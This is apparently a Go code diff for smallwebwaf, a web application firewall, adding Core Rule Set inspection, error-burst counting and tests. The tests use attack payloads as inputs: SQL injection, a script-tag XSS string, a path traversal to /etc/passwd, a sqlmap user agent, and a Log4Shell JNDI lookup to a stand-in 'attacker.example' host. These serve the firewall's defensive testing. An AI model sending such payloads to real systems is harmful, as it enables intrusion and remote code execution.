func (m *Metrics) WAFMatched(mode string, id int) {
m.wafMatches.WithLabelValues(mode, strconv.Itoa(id)).Inc()
}
// StateFileWritten counts a write of the state file name, of size bytes, // StateFileWritten counts a write of the state file name, of size bytes,
// that ended with err. // that ended with err.
func (m *Metrics) StateFileWritten(name string, size int, err error) { func (m *Metrics) StateFileWritten(name string, size int, err error) {
+4 -2
View File
@@ -45,8 +45,9 @@ var (
// /_smallwebwaf/, once it has passed the checks. Each endpoint needs a // /_smallwebwaf/, once it has passed the checks. Each endpoint needs a
// token, sent as Authorization: Bearer <token>: the metrics // token, sent as Authorization: Bearer <token>: the metrics
// SWWAF_METRICS_TOKEN, the others SWWAF_ADMIN_TOKEN. A request without // SWWAF_METRICS_TOKEN, the others SWWAF_ADMIN_TOKEN. A request without
// it is refused with 401. An endpoint whose token is unset answers 404, // it is refused with 401, which counts toward the error burst. An
// as any other request under /_smallwebwaf/ does. // endpoint whose token is unset answers 404, as any other request under
// /_smallwebwaf/ does.
func (rq *request) answerAdmin() { func (rq *request) answerAdmin() {
rq.line.Action = requestlog.ActionAdmin rq.line.Action = requestlog.ActionAdmin
rq.startClientResponseTimeout() rq.startClientResponseTimeout()
@@ -57,6 +58,7 @@ func (rq *request) answerAdmin() {
case token == "": case token == "":
http.Error(rq.out, http.StatusText(http.StatusNotFound), http.StatusNotFound) http.Error(rq.out, http.StatusText(http.StatusNotFound), http.StatusNotFound)
case !hasToken(rq.in, token): case !hasToken(rq.in, token):
rq.tokenRefused = true
rq.out.Header().Set("WWW-Authenticate", "Bearer") rq.out.Header().Set("WWW-Authenticate", "Bearer")
rq.answer(refusal{ rq.answer(refusal{
status: http.StatusUnauthorized, status: http.StatusUnauthorized,
+76 -30
View File
@@ -1,6 +1,7 @@
package proxy package proxy
import ( import (
"net/http"
"net/netip" "net/netip"
"time" "time"
@@ -9,7 +10,6 @@ import (
"sneak.berlin/go/smallwebwaf/internal/ratelimit" "sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/reputation" "sneak.berlin/go/smallwebwaf/internal/reputation"
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/rules"
) )
// banResponse is a refusal answered with SWWAF_BAN_RESPONSE, and logged // banResponse is a refusal answered with SWWAF_BAN_RESPONSE, and logged
@@ -83,6 +83,48 @@ func (rq *request) countBytes() {
} }
} }
// countRefusal counts the request for the error burst once it has been
// answered, if smallwebwaf refused it after a rule file match, a trap path
// or a Core Rule Set match, or for a missing or wrong token, and in
// observe mode if enforce mode would have: more than
// SWWAF_ERROR_BURST_THRESHOLD such refusals of the client within a minute
// break a limit. A client in SWWAF_ALLOW_NETS, which the checks skip, is
// not counted, and nothing is while the threshold is off.
func (rq *request) countRefusal() {
cfg := rq.h.config
if cfg.ErrorBurstThreshold == 0 {
return
}
// In observe mode, a request that enforce mode would have refused
// before it reached the endpoint has had no token refused there.
tokenRefused := rq.tokenRefused && rq.line.WouldAction == "" &&
!isInside(rq.client, cfg.AllowNets)
if !rq.attack && !rq.ruleBlocked && !rq.wafBlocked && !tokenRefused {
return
}
now := rq.h.now()
hit, over := rq.h.limiter.CountRefusal(rq.h.clientGroup(rq.client), now,
cfg.ErrorBurstThreshold)
if !over {
return
}
// What the client was sent, or in observe mode would have been.
status := rq.out.status
switch rq.line.WouldAction {
case requestlog.ActionRuleBlocked, requestlog.ActionWAFBlocked:
status = http.StatusForbidden
case requestlog.ActionBanned:
status = cfg.BanResponse
}
rq.banForLimit(now, hit, status)
}
// countedBytes returns the request's bytes, once it has ended, as the // countedBytes returns the request's bytes, once it has ended, as the
// byte limits and the anomaly thresholds count them: the response's body // byte limits and the anomaly thresholds count them: the response's body
// bytes, the request's, or both, as SWWAF_BYTES_COUNT says. For an // bytes, the request's, or both, as SWWAF_BYTES_COUNT says. For an
@@ -107,20 +149,27 @@ func (rq *request) countedBytes() int64 {
} }
// banForLimit bans the client's netblock at now for a broken limit, the // banForLimit bans the client's netblock at now for a broken limit, the
// one hit names, and notes the offence for the log line. status is what // one hit names, notes the offence for the log line and counts the hit in
// the client was sent, or is sent: SWWAF_BAN_RESPONSE for a request over // the metrics. status is what the client was sent, or is sent:
// a rate limit, the app's answer for one whose bytes broke a byte limit. // SWWAF_BAN_RESPONSE for a request over a rate limit, the app's answer for
// The ban's notes give the client's limit percentage for that kind of // one whose bytes broke a byte limit, the refusal for one that broke the
// limit. The ban sets the client's counters back to zero. In observe mode // error burst. The ban's notes give the client's limit percentage for a
// it makes no ban and sets nothing back, and raises the alert for the ban // rate limit or a byte limit; the error burst is not lowered. The ban sets
// it would have made, if that alert would be sent. // the client's counters back to zero. In observe mode it makes no ban and
// sets nothing back, and raises the alert for the ban it would have made,
// if that alert would be sent.
func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) { func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) {
rq.line.LimitHit = hit.Window switch hit.Kind {
if hit.Kind == ratelimit.KindBytes { case ratelimit.KindBytes:
rq.line.LimitHit += "_bytes" // as counts names the byte totals rq.line.LimitHit = hit.Window + "_bytes" // as counts names the byte totals
case ratelimit.KindRefusals:
rq.line.LimitHit = requestlog.LimitHitErrorBurst
default:
rq.line.LimitHit = hit.Window
} }
rq.line.Offence = requestlog.OffenceLimit rq.line.Offence = requestlog.OffenceLimit
rq.h.metrics.LimitHit(hit)
netblock := rq.h.netblock(rq.client) netblock := rq.h.netblock(rq.client)
if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseLimit) { if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseLimit) {
@@ -140,13 +189,13 @@ func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) {
Requests: rq.netblockRequests(netblock), Requests: rq.netblockRequests(netblock),
} }
percent := rq.limitPercent switch hit.Kind {
if hit.Kind == ratelimit.KindBytes { case ratelimit.KindRequests:
percent = rq.bytesPercent notes.LimitPercent, notes.LimitPercentSetting = rq.limitPercent.logged()
case ratelimit.KindBytes:
notes.LimitPercent, notes.LimitPercentSetting = rq.bytesPercent.logged()
} }
notes.LimitPercent, notes.LimitPercentSetting = percent.logged()
if rq.h.config.Observe { if rq.h.config.Observe {
ban, wouldBan := rq.h.ledger.WouldBanForLimit(netblock, now, notes) ban, wouldBan := rq.h.ledger.WouldBanForLimit(netblock, now, notes)
if wouldBan { if wouldBan {
@@ -166,25 +215,22 @@ func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) {
} }
// banForAttack bans the client's netblock at now for a clear sign of // banForAttack bans the client's netblock at now for a clear sign of
// attack, the match of rule, a ban rule. In observe mode it makes no ban, // attack, which notes name: the ban rule that matched, or the trap path
// and raises the alert for the ban it would have made, if that alert // asked for. It fills in the rest of the notes. In observe mode it makes
// would be sent. // no ban, and raises the alert for the ban it would have made, if that
func (rq *request) banForAttack(now time.Time, rule rules.Rule) { // alert would be sent.
func (rq *request) banForAttack(now time.Time, notes bans.Notes) {
netblock := rq.h.netblock(rq.client) netblock := rq.h.netblock(rq.client)
if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseAttack) { if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseAttack) {
return return
} }
notes := bans.Notes{ notes.ASN = rq.line.ASN
ASN: rq.line.ASN, notes.ASName = rq.line.ASName
ASName: rq.line.ASName, notes.Country = rq.line.Country
Country: rq.line.Country, notes.Reputation = rq.reputation
RuleID: rule.ID, notes.Request = rq.noted(now, rq.h.config.BanResponse)
Target: rule.Target, notes.Requests = rq.netblockRequests(netblock)
Reputation: rq.reputation,
Request: rq.noted(now, rq.h.config.BanResponse),
Requests: rq.netblockRequests(netblock),
}
if rq.h.config.Observe { if rq.h.config.Observe {
ban, wouldBan := rq.h.ledger.WouldBanForAttack(netblock, now, notes) ban, wouldBan := rq.h.ledger.WouldBanForAttack(netblock, now, notes)
+3
View File
@@ -205,6 +205,7 @@ func TestBannedClientIsRefusedBeforeItsCountryIsLookedUp(t *testing.T) {
geojsURL, asked := startGeoJS(t) geojsURL, asked := startGeoJS(t)
s, _, _ := startWithClock(t, geojsURL, map[string]string{ s, _, _ := startWithClock(t, geojsURL, map[string]string{
lookupTimeout: "1h",
rateLimitPerMinute: "1", rateLimitPerMinute: "1",
banScopeV4Prefix: "24", banScopeV4Prefix: "24",
deniedCountries: "kp", deniedCountries: "kp",
@@ -243,6 +244,7 @@ func TestBanResponseAnswersEveryRefusalButTheSizeLimits(t *testing.T) {
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
env := map[string]string{ env := map[string]string{
lookupTimeout: "1h",
rateLimitPerMinute: "1", rateLimitPerMinute: "1",
denyNets: denied, denyNets: denied,
deniedCountries: "kp", deniedCountries: "kp",
@@ -268,6 +270,7 @@ func TestBanNotes(t *testing.T) {
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
s, clk, server := startWithClock(t, geojsURL, map[string]string{ s, clk, server := startWithClock(t, geojsURL, map[string]string{
lookupTimeout: "1h",
rateLimitPerMinute: "1", rateLimitPerMinute: "1",
deniedCountries: "kp", deniedCountries: "kp",
}) })
+12 -1
View File
@@ -21,6 +21,9 @@ type requestBody struct {
// SWWAF_REQUEST_MAX_BYTES. // SWWAF_REQUEST_MAX_BYTES.
body io.ReadCloser body io.ReadCloser
rq *request rq *request
// readByCoreRuleSet is what the Core Rule Set read of the body before
// the request went to the app, and Read gives first.
readByCoreRuleSet []byte
// waiting is true while a Read waits for the client to send more. // waiting is true while a Read waits for the client to send more.
waiting atomic.Bool waiting atomic.Bool
// received is true once the client has sent the whole body. // received is true once the client has sent the whole body.
@@ -29,8 +32,16 @@ type requestBody struct {
bytes atomic.Int64 bytes atomic.Int64
} }
// Read reads from the client's body. // Read reads from the client's body, after what the Core Rule Set read of
// it, which has been counted already.
func (b *requestBody) Read(p []byte) (int, error) { func (b *requestBody) Read(p []byte) (int, error) {
if len(b.readByCoreRuleSet) > 0 {
n := copy(p, b.readByCoreRuleSet)
b.readByCoreRuleSet = b.readByCoreRuleSet[n:]
return n, nil
}
b.waiting.Store(true) b.waiting.Store(true)
n, err := b.body.Read(p) n, err := b.body.Read(p)
b.waiting.Store(false) b.waiting.Store(false)
-2
View File
@@ -282,8 +282,6 @@ func TestByteLimitsLeaveOutWhatTheRateLimitsLeaveOut(t *testing.T) {
func TestByteLimitsOffCountTheBytesAndBanNoOne(t *testing.T) { func TestByteLimitsOffCountTheBytesAndBanNoOne(t *testing.T) {
t.Parallel() t.Parallel()
const off = "off"
s, _ := startWithAnswers(t, map[string]string{ s, _ := startWithAnswers(t, map[string]string{
bytesLimitPerMinute: off, bytesLimitPerHour: off, bytesLimitPerDay: off, bytesLimitPerMinute: off, bytesLimitPerHour: off, bytesLimitPerDay: off,
}) })
+124
View File
@@ -0,0 +1,124 @@
package proxy
import (
"errors"
"net/http"
"os"
"time"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/config"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/waf"
)
// checkCoreRuleSet inspects the request with the Core Rule Set, unless
// SWWAF_WAF_MODE is off or SWWAF_WAF_EXEMPT_PATHS exempts its path, as
// pathExempt decides, and notes the rules it matched and its score in the
// log line, and the rules in the metrics. A score at or over
// SWWAF_WAF_ANOMALY_THRESHOLD is a match: it raises the waf_block alert,
// and in block mode refuses the request, which is an offence its client's
// history counts, and so returns ActionWAFBlocked. It returns "" for a
// request it does not refuse, and for one whose body meets a size or time
// limit while the Core Rule Set reads it, which it notes nothing of.
func (rq *request) checkCoreRuleSet() string {
cfg := rq.h.config
if cfg.WAFMode == config.WAFModeOff || pathExempt(rq.in.URL, cfg.WAFExemptPaths) {
return ""
}
start := time.Now()
result := rq.inspect()
if rq.refused.Load() != nil {
return "" // the refusal for that limit, which check returns
}
rq.line.DurationWAF = new(requestlog.Milliseconds(time.Since(start)))
rq.line.WAFRuleIDs = result.RuleIDs
rq.line.WAFScore = &result.Score
for _, id := range result.RuleIDs {
rq.h.metrics.WAFMatched(cfg.WAFMode, id)
}
threshold := cfg.WAFAnomalyThreshold
if threshold == 0 || result.Score < threshold {
return ""
}
rq.alertWAFBlock(result)
if cfg.WAFMode == config.WAFModeDetect {
return ""
}
rq.wafBlocked = true
return requestlog.ActionWAFBlocked
}
// inspect runs the Core Rule Set on the request, which reads the part of
// its body it inspects within SWWAF_CLIENT_REQUEST_TIMEOUT, and keeps that
// part for the app. A client that runs out of time is refused with 408
// here, and a body over SWWAF_REQUEST_MAX_BYTES with 413 as it is read;
// check returns the refusal. A body that breaks off for any other reason
// is passed on as far as it came, and the request to the app fails there,
// as it would have without the Core Rule Set.
func (rq *request) inspect() waf.Result {
if rq.body == nil {
// Nothing is read of no body, so nothing can go wrong reading it.
result, _, _ := rq.h.coreRuleSet.Inspect(rq.in, rq.client, http.NoBody)
return result
}
_ = rq.rc.SetReadDeadline(rq.clientRequestDeadline())
result, read, err := rq.h.coreRuleSet.Inspect(rq.in, rq.client, rq.body)
// The timeouts that run while the request goes to the app take over.
_ = rq.rc.SetReadDeadline(time.Time{})
rq.body.readByCoreRuleSet = read
if errors.Is(err, os.ErrDeadlineExceeded) {
rq.refuse(refusal{
status: http.StatusRequestTimeout,
action: requestlog.ActionTimedOut,
limit: "SWWAF_CLIENT_REQUEST_TIMEOUT",
})
}
return result
}
// alertWAFBlock raises the waf_block alert for the request, which the Core
// Rule Set scored at result, at or over SWWAF_WAF_ANOMALY_THRESHOLD. Its
// detail gives the rule ids, the score, the method and the path with the
// query, and, for a request that is not refused for it, the mode: detect,
// or observe in observe mode.
func (rq *request) alertWAFBlock(result waf.Result) {
detail := map[string]any{
"rule_ids": result.RuleIDs,
"score": result.Score,
"method": rq.in.Method,
"path": rq.in.URL.RequestURI(),
}
switch {
case rq.h.config.WAFMode == config.WAFModeDetect:
detail["mode"] = config.WAFModeDetect
case rq.h.config.Observe:
detail["mode"] = "observe"
}
rq.h.alerts.Raise(alerts.Alert{
Event: alerts.EventWAFBlock,
Client: rq.client,
Netblock: rq.h.clientGroup(rq.client),
ASN: rq.line.ASN,
ASName: rq.line.ASName,
Country: rq.line.Country,
Reason: "scored by the Core Rule Set at or over SWWAF_WAF_ANOMALY_THRESHOLD",
Detail: detail,
})
}
+590
View File
@@ -0,0 +1,590 @@
package proxy_test
import (
"io"
"net/http"
"net/netip"
"slices"
"strconv"
"strings"
"testing"
"time"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// The Core Rule Set's settings the tests set, besides SWWAF_WAF_MODE, and
// its two modes that inspect requests.
const (
wafAnomalyThreshold = "SWWAF_WAF_ANOMALY_THRESHOLD"
wafDisabledRules = "SWWAF_WAF_DISABLED_RULES"
wafExemptPaths = "SWWAF_WAF_EXEMPT_PATHS"
wafBodyLimit = "SWWAF_WAF_BODY_LIMIT"
block = "block"
detect = "detect"
)
// formData is the type of a form's body.
const formData = "application/x-www-form-urlencoded"
// sqlInjection asks for / with an SQL injection in its query, which only
// the Core Rule Set's rule 942100 matches, with a score of 5, the default
// SWWAF_WAF_ANOMALY_THRESHOLD.
const sqlInjection = "/?id=1'%20OR%20'1'='1"
// wantWAF checks the request log line's waf_rule_ids and waf_score, and
// that it has duration_waf, or with no score, that it has none of the
// three: the Core Rule Set did not inspect the request.
func wantWAF(t *testing.T, line logLine, score *int, ruleIDs ...int) {
t.Helper()
if !slices.Equal(line.WAFRuleIDs, ruleIDs) {
t.Errorf("log line has waf_rule_ids %v, want %v", line.WAFRuleIDs, ruleIDs)
}
switch {
case score == nil && (line.WAFScore != nil || line.DurationWAF != nil):
t.Errorf("log line has waf_score %v and duration_waf %v, want neither",
line.fields["waf_score"], line.fields["duration_waf"])
case score != nil && (line.WAFScore == nil || *line.WAFScore != *score):
t.Errorf("log line has waf_score %v, want %d", line.fields["waf_score"], *score)
case score != nil && line.DurationWAF == nil:
t.Error("log line has no duration_waf")
}
}
func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode(t *testing.T) {
t.Parallel()
for _, attack := range []struct {
name, path, header string
ruleIDs []int
score int
}{
{"SQL injection in the query", sqlInjection, "", []int{942100}, 5},
{
"script in the query", "/?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E", "",
[]int{941100, 941110, 941160, 941390}, 20,
},
{
"path traversal in the path", "/files/../../etc/passwd", "",
[]int{930100, 930110}, 10,
},
{
"Log4Shell in a header", "/", "X-Api-Version: ${jndi:ldap://attacker.example/a}",
[]int{944150}, 5,
},
{"scanner's user agent", "/", "User-Agent: sqlmap/1.7", []int{913100}, 5},
{
// Coraza keeps the first 1000 query parameters.
"SQL injection after 1000 query parameters",
"/?" + strings.Repeat("a=1&", 1000) + "id=1'%20OR%20'1'='1", "",
[]int{900300}, 5,
},
} {
t.Run(attack.name, func(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
mode, action string
status int
}{
{block, requestlog.ActionWAFBlocked, http.StatusForbidden},
{detect, requestlog.ActionForward, http.StatusOK},
} {
s, _, _ := startWithClock(t, "", map[string]string{wafMode: tc.mode})
line, _ := s.requestWithHeader(client, attack.path, attack.header,
tc.status, tc.action)
wantWAF(t, line, &attack.score, attack.ruleIDs...)
}
})
}
}
func TestOrdinaryRequestIsInspectedAndPassed(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
line := s.request(client, "/owner/repo/src/branch/main/README.md?display=source",
http.StatusOK, requestlog.ActionForward)
wantWAF(t, line, new(0))
}
func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
t *testing.T,
) {
t.Parallel()
const allowed = "192.0.2.60" // in SWWAF_ALLOW_NETS
s, _, _ := startWithClock(t, "", map[string]string{
wafMode: block,
wafExemptPaths: "/api/",
allowNets: allowed,
rulesDir: writeRules(t, testRules),
})
// A client in SWWAF_ALLOW_NETS, and a path SWWAF_WAF_EXEMPT_PATHS
// exempts, are not inspected.
line := s.request(allowed, sqlInjection, http.StatusOK, requestlog.ActionForward)
wantWAF(t, line, nil)
line = s.request(client, "/api/v1/repos?id=1'%20OR%20'1'='1", http.StatusOK,
requestlog.ActionForward)
wantWAF(t, line, nil)
// The prefix is matched as rate limit exempt paths are: a path that
// goes up and out of it is inspected.
line = s.request(client, "/api/../?id=1'%20OR%20'1'='1", http.StatusForbidden,
requestlog.ActionWAFBlocked)
wantWAF(t, line, new(25), 930100, 930110, 942100)
// A request a rule file refuses is not inspected.
line = s.request(otherClient, "/blocked?id=1'%20OR%20'1'='1", http.StatusForbidden,
requestlog.ActionRuleBlocked)
wantWAF(t, line, nil)
// With SWWAF_WAF_MODE off, no request is.
s, _, _ = startWithClock(t, "", map[string]string{wafMode: off})
line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
wantWAF(t, line, nil)
}
func TestAnomalyThreshold(t *testing.T) {
t.Parallel()
// A score under the threshold, or with the threshold off, is logged,
// and refuses nothing.
for _, threshold := range []string{"6", off} {
s, _, _ := startWithClock(t, "", map[string]string{
wafMode: block, wafAnomalyThreshold: threshold,
})
line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
wantWAF(t, line, new(5), 942100)
}
s, _, _ := startWithClock(t, "", map[string]string{
wafMode: block, wafAnomalyThreshold: "5",
})
s.request(client, sqlInjection, http.StatusForbidden, requestlog.ActionWAFBlocked)
}
func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
t.Parallel()
for _, request := range []struct {
name, method, path, header string
// ruleIDs are the rules that match the request with none
// switched off.
ruleIDs []int
}{
{
"git push", http.MethodPost, "/owner/repo.git/git-receive-pack",
"Content-Type: application/x-git-receive-pack-request\r\nContent-Length: 4",
[]int{920420, 930130},
},
{
"package upload without a type", http.MethodPut,
"/api/packages/owner/generic/tool/1.0/tool.tar.gz", "Content-Length: 4",
[]int{920340},
},
{
"a shell script", http.MethodGet, "/owner/repo/raw/branch/main/install.sh", "",
[]int{920440},
},
{
"an editor's settings", http.MethodGet,
"/owner/repo/src/branch/main/.zed/settings.json", "", []int{930140},
},
} {
t.Run(request.name, func(t *testing.T) {
t.Parallel()
body := ""
if request.method != http.MethodGet {
body = "push"
}
// By default, the rules are switched off.
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
line, _ := s.requestWithBody(request.method, client, request.path,
request.header, body, http.StatusOK, requestlog.ActionForward)
wantWAF(t, line, new(0))
// A list given replaces the default.
s, _, _ = startWithClock(t, "", map[string]string{
wafMode: block, wafDisabledRules: "942100",
})
score := 5 * len(request.ruleIDs)
line, _ = s.requestWithBody(request.method, client, request.path,
request.header, body, http.StatusForbidden, requestlog.ActionWAFBlocked)
wantWAF(t, line, &score, request.ruleIDs...)
// And switches off the rules it lists.
line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
wantWAF(t, line, new(0))
})
}
}
func TestAttackInAFormBodyIsRefusedOnlyWhileBodiesAreRead(t *testing.T) {
t.Parallel()
const body = "id=1'%20OR%20'1'='1"
header := "Content-Type: " + formData + "\r\nContent-Length: " +
strconv.Itoa(len(body))
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
line, _ := s.requestWithBody(http.MethodPost, client, "/", header, body,
http.StatusOK, requestlog.ActionForward)
wantWAF(t, line, new(0))
s, _, _ = startWithClock(t, "", map[string]string{
wafMode: block, wafBodyLimit: sizeLimitSetting,
})
line, _ = s.requestWithBody(http.MethodPost, client, "/", header, body,
http.StatusForbidden, requestlog.ActionWAFBlocked)
wantWAF(t, line, new(5), 942100)
}
func TestBodiesReachTheAppAsSentWhileBodiesAreRead(t *testing.T) {
t.Parallel()
// The app answers with the body it was sent, once it has the whole of
// it: Go's server reads no more of a body once the answer has begun.
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
body, _ := io.ReadAll(r.Body)
_, _ = w.Write(body)
})
addr, out := startProxy(t, app.URL, map[string]string{
wafMode: block, wafBodyLimit: sizeLimitSetting,
})
longer := "a=" + strings.Repeat("b", 64*sizeLimit)
for i, tc := range []struct {
name, contentType, body string
// announced sends the body's length in Content-Length; otherwise
// the body is sent in chunks with no length given.
announced bool
}{
{"form data within the limit", formData, "a=b", true},
{"form data longer than the limit", formData, longer, true},
{"form data longer than the limit, not announced", formData, longer, false},
{
"JSON larger than the limit", "application/json",
`{"a":"` + strings.Repeat("b", 2*sizeLimit) + `"}`, true,
},
{
"a binary body", "application/octet-stream",
strings.Repeat("\x00\xff", sizeLimit), true,
},
} {
// A reader whose length the client cannot tell is sent in chunks.
var body io.Reader = strings.NewReader(tc.body)
if !tc.announced {
body = io.MultiReader(body)
}
req := newRequest(t, http.MethodPost, addr, "/", body)
req.Header.Set("Content-Type", tc.contentType)
got := do(t, req)
if got.status != http.StatusOK || string(got.body) != tc.body {
t.Errorf("%s: the app got %d bytes, answered %d, want the %d sent, 200",
tc.name, len(got.body), got.status, len(tc.body))
}
line := out.requestLines(t, i+1)[i]
wantLine(t, line, http.StatusOK, requestlog.ActionForward)
if line.RequestBytes != int64(len(tc.body)) {
t.Errorf("%s: log line has request_bytes %d, want %d", tc.name,
line.RequestBytes, len(tc.body))
}
}
}
func TestFormBodyLongerThanTheLimitStreamsOnToTheApp(t *testing.T) {
t.Parallel()
const (
first = "a=" // and twice the limit of b's, then the rest
rest = 64 * sizeLimit
)
// past is closed once the app has received twice what the Core Rule
// Set reads, and got is the length of the whole body it received.
past := make(chan struct{})
got := make(chan int64, 1)
app := startApp(t, func(_ http.ResponseWriter, r *http.Request) {
n, _ := io.CopyN(io.Discard, r.Body, 2*sizeLimit)
close(past)
m, _ := io.Copy(io.Discard, r.Body)
got <- n + m
})
addr, out := startProxy(t, app.URL, map[string]string{
wafMode: block, wafBodyLimit: sizeLimitSetting,
})
// The client sends the rest only once the app has received the first
// part: were smallwebwaf to hold the body until the end, it would
// never come.
body, sender := io.Pipe()
go func() {
_, _ = io.WriteString(sender, first+strings.Repeat("b", 2*sizeLimit))
select {
case <-past:
case <-time.After(waitLimit):
t.Error("the app got no more than the Core Rule Set reads " +
"before the whole body was sent")
_ = sender.CloseWithError(io.ErrUnexpectedEOF)
return
}
_, _ = io.WriteString(sender, strings.Repeat("b", rest))
_ = sender.Close()
}()
req := newRequest(t, http.MethodPost, addr, "/", body)
req.Header.Set("Content-Type", formData)
wantStatus(t, do(t, req), http.StatusOK)
want := int64(len(first) + 2*sizeLimit + rest)
if n := <-got; n != want {
t.Errorf("the app got %d bytes, want %d", n, want)
}
wantLine(t, out.requestLine(t), http.StatusOK, requestlog.ActionForward)
}
func TestClientTooSlowToSendWhatTheCoreRuleSetReads(t *testing.T) {
t.Parallel()
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
addr, out := startProxy(t, app.URL, map[string]string{
wafMode: block, wafBodyLimit: sizeLimitSetting,
clientRequestTimeout: shortTimeoutSetting, metricsToken: token,
})
conn := dial(t, addr)
send(t, conn, "POST /comment HTTP/1.1\r\nHost: app\r\nContent-Type: "+formData+
"\r\nContent-Length: 100\r\n\r\ncontent=the first bytes")
wantStatus(t, readResponse(t, conn), http.StatusRequestTimeout)
line := out.requestLine(t)
wantLine(t, line, http.StatusRequestTimeout, requestlog.ActionTimedOut)
wantNotSentToTheApp(t, line)
wantLimitHits(t, addr, clientRequestTimeout, 1)
}
func TestBodyOverTheSizeLimitWhileTheCoreRuleSetReadsIt(t *testing.T) {
t.Parallel()
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
addr, out := startProxy(t, app.URL, map[string]string{
wafMode: block, wafBodyLimit: "4K",
requestMaxBytes: sizeLimitSetting, metricsToken: token,
})
// Sent in chunks, its length is not announced, and is found to be over
// the limit as the Core Rule Set reads it.
body := io.MultiReader(strings.NewReader("a=" + strings.Repeat("b", 2*sizeLimit)))
req := newRequest(t, http.MethodPost, addr, "/", body)
req.Header.Set("Content-Type", formData)
wantStatus(t, do(t, req), http.StatusRequestEntityTooLarge)
line := out.requestLine(t)
wantLine(t, line, http.StatusRequestEntityTooLarge, requestlog.ActionTooLarge)
wantNotSentToTheApp(t, line)
wantLimitHits(t, addr, requestMaxBytes, 1)
}
// wantNotSentToTheApp checks that the request of line was not sent to the
// app at all.
func wantNotSentToTheApp(t *testing.T, line logLine) {
t.Helper()
_, sent := line.fields["duration_upstream_total"]
if sent {
t.Error("log line has duration_upstream_total, for a request sent to the app")
}
}
func TestResponsesAreNotInspected(t *testing.T) {
t.Parallel()
// A raw shell script, and an SQL error, which the Core Rule Set's rules
// for responses take for a leak.
const page = "#!/bin/sh\nrm -rf /tmp/build\n" +
"You have an error in your SQL syntax; check the manual that " +
"corresponds to your MySQL server version\n"
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
_, _ = w.Write([]byte(page))
})
addr, out := startProxy(t, app.URL, map[string]string{wafMode: block})
got := get(t, addr, "/owner/repo/raw/branch/main/build.sh")
if got.status != http.StatusOK || string(got.body) != page {
t.Errorf("answered %d with %q, want 200 with the app's page", got.status, got.body)
}
wantLine(t, out.requestLine(t), http.StatusOK, requestlog.ActionForward)
}
func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(t *testing.T) {
t.Parallel()
const scraper = "192.0.2.200"
s, _, server := startWithClock(t, "", map[string]string{
wafMode: block, errorBurstThreshold: "2", metricsToken: token,
})
for range 2 {
s.request(client, sqlInjection, http.StatusForbidden, requestlog.ActionWAFBlocked)
}
// The third refusal in a minute breaks the error burst, and bans the
// client.
line := s.request(client, sqlInjection, http.StatusForbidden,
requestlog.ActionWAFBlocked)
if line.LimitHit != requestlog.LimitHitErrorBurst ||
line.Offence != requestlog.OffenceLimit {
t.Errorf("log line has limit_hit %q and offence %q, want error_burst and limit",
line.LimitHit, line.Offence)
}
s.get(client, http.StatusForbidden, requestlog.ActionBanned)
want := ratelimit.Offences{Limit: 1, WAFBlocked: 3}
if offences := historyOf(t, server, client).Offences; offences != want {
t.Errorf("history counts the offences %+v, want %+v", offences, want)
}
metrics := s.scrape(scraper)
wantMetric(t, metrics,
`smallwebwaf_waf_matches_total{instance="app",mode="block",rule_id="942100"}`, 3)
wantMetric(t, metrics,
`smallwebwaf_offences_total{instance="app",kind="waf_blocked"}`, 3)
wantMetric(t, metrics, `smallwebwaf_requests_total{action="waf_blocked",`+
`instance="app",status_class="4xx"}`, 3)
}
func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(t *testing.T) {
t.Parallel()
const scraper = "192.0.2.200"
s, _, server := startWithClock(t, "", map[string]string{
wafMode: detect, errorBurstThreshold: "2", metricsToken: token,
})
for range 3 {
s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
}
s.get(client, http.StatusOK, requestlog.ActionForward)
offences := historyOf(t, server, client).Offences
if offences != (ratelimit.Offences{}) {
t.Errorf("history counts the offences %+v, want none", offences)
}
metrics := s.scrape(scraper)
wantMetric(t, metrics,
`smallwebwaf_waf_matches_total{instance="app",mode="detect",rule_id="942100"}`, 3)
wantNoSeries(t, metrics,
`smallwebwaf_offences_total{instance="app",kind="waf_blocked"}`)
}
func TestObserveModeLogsWhatTheCoreRuleSetWouldDo(t *testing.T) {
t.Parallel()
s, _, server := startWithClock(t, "", map[string]string{wafMode: block, mode: observe})
line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
wantWouldAction(t, line, requestlog.ActionWAFBlocked)
